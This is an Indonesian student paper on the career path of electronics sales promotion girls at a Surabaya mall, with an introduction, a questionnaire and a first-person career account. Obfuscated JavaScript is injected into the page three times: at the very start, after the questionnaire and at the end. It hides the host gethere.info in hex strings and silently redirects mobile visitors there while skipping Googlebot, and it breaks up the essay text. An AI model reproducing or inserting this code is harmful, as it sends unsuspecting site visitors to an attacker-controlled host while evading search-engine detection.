|_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

tugas manajemen karir

BAB I
PENDAHULUAN
1. Latar Belakang
Pada era jaman yang serba maju ini banyak cara yang di lakukan untuk memasarkan produk mulai dari pendekatan visual,verbal, dan ada juga yang melakukannya dengan pendekatan personal untuk bisa mencapai target penjualan yang maksimal. Pemasaran satu arah seperti melalui media cetak maupun elektronik masih tetap terpakai tetapi dari sekian cara yang digunakan untuk memasarkan produknya banyak perusahaan memakai jasa sales promotion girl agar dapat secara langsung memperkenalkan produk tersebut ke konsumen.
Pengertian sales promotion girls dapat dilihat dari berbagai aspek. Secara penggunaan bahasa, menurut Poerwodarminto (1987:198), sales promotion girl merupakan suatu profesi yang bergerak dalam pemasaran atau promosi suatu produk. Profesi ini biasanya menggunakan wanita yang mempunyai karakter fisik yang menarik sebagai usaha untuk menarik perhatian konsumen.( http://www.jadimodel.com/spg.htm )
Retnasih (2001:23) menyatakan: “Sales promotion girl adalah seorang perempuan yang direkrut oleh perusahaan untuk mempromosikan produk.” Pendapat ini melihat keberadaan sales promotion girls dari fungsinya yaitu sebagai pihak presenter dari suatu produk. Lebih lanjut pendapat ini mengilustrasikan bahwa tugas utama dari sales promotion girls adalah promosi produk, pada umumnya status sales promotion girls adalah karyawan kontrakan. Mereka dikontrak dalam kurun waktu tertentu untuk mempromosikan produk.
Biasanya perusahaan akan memilih SPG yang sesuai dengan produk yang akan mereka jual misalnya saja untuk pameran otomotif pastinya yang menjadi modal utama adalah para SPG yang berkulit putih, bersih,dan pastinya cantik. Kenapa demikan dengan menggunakan SPG memungkinkan akan meningkatkan daya tarik konsumen pada produk yang dipromosikan. Keberadaan karakter fisik seorang sales promotion girl tersebut.
Penggunaan jasa SPG saat ini bukan hanya dibutuhkan oleh para perusahaan produksi saja akan tetapi meluas sampai ke perusahaan jasa dan perusahaan elektronik. Mulai dari TV, Lemari es, AC dan juga Komputer yang banyak kita jumpai di berbagai tempat seperti di mal atau pada event tertentu.
Untuk lebih fokus dalam pembahasan tentang SPG ini maka dalam penelitian ini kami akan membahas tentang PERJALANAN KARIER SEORANG SPG ELEKTRONIK KOMPUTER DI KOTA SURABAYA ( Hi-Tech Mall).

1.1 Identifikasi Masalah
Adapun identifikasi masalah dari penelitian ini adalah :
a.Pendapat SPGmengenai jenjang karir
b.Bagaimana SPG menyikapi profesi mereka sekarang
1.2 Tujuan Penulisan
1.Untuk menyelesaikan tugas mata kuliah Manajemen Karir
2.Makalah ini agar penulis dan pembaca mengetahui jenjang karir seorang SPG
BAB II
PEMBAHASAN
Pengembangan karier adalah suatu rangkaian (urutan) posisi atau jabatan yang ditempati seseorang selama masa kehidupan tertentu. Pengertian menempatkan posisi/ jabatan seseorang pekerja di lingkungan suatu organisasi, sebagai bagian rangkaian dari posisi/ jabatan yang ditempati selama masa kehidupannya. Posisi itu ditempatnya selama kehidupannya, sejak awal memasuki suatu organisasi/ perusahaan, sampai saat berhenti, baik karena pension atau berhenti/ diberhentikan maupun karena meninggal dunia. Pengembangan karier sebagai kegiatan manajemen SDM pada dasarnya bertujuan untuk memperbaiki dan meningkatkan efektivitas pelaksanaan pekerjaan oleh pekerjaan oleh para pekerja, agar semakin mampu memberikan kontribusi terbaik dalam mewujudkan tujuan bisnis organisasi.
Retnasih (2001:23) menyatakan: “Sales promotion girl adalah seorang perempuan yang direkrut oleh perusahaan untuk mempromosikan produk.” Pendapat ini melihat keberadaan sales promotion girls dari fungsinya yaitu sebagai pihak presenter dari suatu produk. Lebih lanjut pendapat ini mengilustrasikan bahwa tugas utama dari sales promotion girls adalah promosi produk, pada umumnya status sales promotion girls adalah karyawan kontrakan. Mereka dikontrak dalam kurun waktu tertentu untuk mempromosikan produk.

KUISIONER
1. mengapa anda memilih menjadi SPG Elektronik?
A.untuk memenuhi kebutuhan financial
b. cara kerja tidak terlalu rumit
c. jam kerja bisa part time
d. untuk menanbah pengalaman
2. Apa yang anda cita – citakan sebelum berkerja menjadi SPG Elektronik?
a. Pekerja kantoran
b. Wiraswasta
c. Ibu rumah tangga
d. Tetap di dunia multy marketing

3. Siapa yang mengajak anda bekerja menjadi seorang SPG Elektronik?
a Keinginan diri sendiri
b Teman
c Orang tua
d Kerabat
4. Sudah berapa lama anda menjadi seorang SPG Elektronik?
a. 2 tahun
5. Apa status ketenaga kerja sebagai SPG Elektronik?
a. Pegawai tetap
b Pegawai kontrak
c. Pegawai outsorce
d. Free lance
6. Untuk menjadi seorang SPG yang baik modal apa saja yang harus dipenuhi?
a. Penampilan
b. Cara memasarkan
c. Pandai mengambil hati
d. Semua benar
7. Jika anda mendapatkan tawaran untuk bekerja dibidang non multy marketing ( SPG ) akan tetapi gajinya dibawah gaji anda sekarang, apakah yang anda lakukan?
a. Berminat
b. Bersedia
c. Dipikir – dipikir dahulu
d. Tidak berminat
8. apakah anda nyaman bekerja sebagai seorang SPG Elektronik?
a. Nyaman
b. Kurang nyaman
c. Biasa saja
d. Tidak nyaman
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Pengembangan karir

. Setelah lulus dari sekolah menengah atas (SMA) yaitu SMA bojonegoro,jurusan IPA. Tentunya yang saya pikirkan pertama ialah saya harus melanjutkan pendidikan saya keperguruan tinggi.saya mengawali karir pada umur 18 tahun,pertama kali saya menginjakkan kaki saya disurabaya,saya mulai bekerja di sebuah perusahaan kecil,(penyewaan mobil))sebagai staff administrasi,baru pertama kalinya saya bekerja pengalamanpun saya belum punya,saya bekerja dirental selama 1 tahun,selama itu juga saya saya sambil menempuh kuliah di universitas Narotama.

.waktu terus berjalan hingga waktu itu keadaan harus berubah,tempat kerja saya yang dulu di penyewaan mobil mengalami kebangkrutan atau disebut gulung tikar,sehingga saya bisa tidak bisa mempertahankannya harus mencari pekerjaan lain,setelah itu saya mendapatkan pekerjaan disebuah mall,di hi tech mall,disitu saya bekerja sebagai staff administrasi,tetapi saya ingin lebih meningkatkan kinerja dan pengetahuan saya dibidang lain,sehingga bisa memberi peluang karir yang lebih baik kepada saya untuk kedepannya.
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}